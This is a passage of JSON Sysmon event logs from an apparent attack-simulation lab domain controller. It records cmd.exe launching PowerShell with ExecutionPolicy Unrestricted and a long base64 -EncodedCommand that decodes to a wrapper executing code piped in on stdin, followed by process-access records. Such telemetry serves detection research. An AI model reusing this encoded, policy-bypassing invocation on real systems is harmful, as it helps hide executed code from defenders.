JAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-4375-5F2D-0000-002007ED1100}\r\nLogonId: 0x11ED07\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453\r\nParentProcessGuid: {90617006-4377-5F2D-0000-001064F21100}\r\nParentProcessId: 1696\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:05:11.799","ProcessGuid":"{90617006-4377-5F2D-0000-001020F31100}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","FileVersion":"10.0.14393.206 (rs1_release.160915-0644)","Description":"Windows PowerShell","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"PowerShell.EXE","CommandLine":"PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-4375-5F2D-0000-002007ED1100}","LogonId":"0x11ed07","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453","ParentProcessGuid":"{90617006-4377-5F2D-0000-001064F21100}","ParentProcessId":"1696","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8553,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:11.822\r\nSourceProcessGUID: {90617006-4377-5F2D-0000-001064F21100}\r\nSourceProcessId: 1696\r\nSourceThreadId: 2412\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-4377-5F2D-0000-001020F31100}\r\nTargetProcessId: 2488\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:11.822","SourceProcessGUID":"{90617006-4377-5F2D-0000-001064F21100}","SourceProcessId":"1696","SourceThreadId":"2412","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-4377-5F2D-0000-001020F31100}","TargetProcessId":"2488","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8554,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:11.855\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4377-5F2D-0000-001020F31100}\r\nTargetProcessId: 2488\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:11.855","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4377-5F2D-0000-001020F31100}","TargetProcessId":"2488","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8555,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:11.885\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:11.885","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8556,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:11.885\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 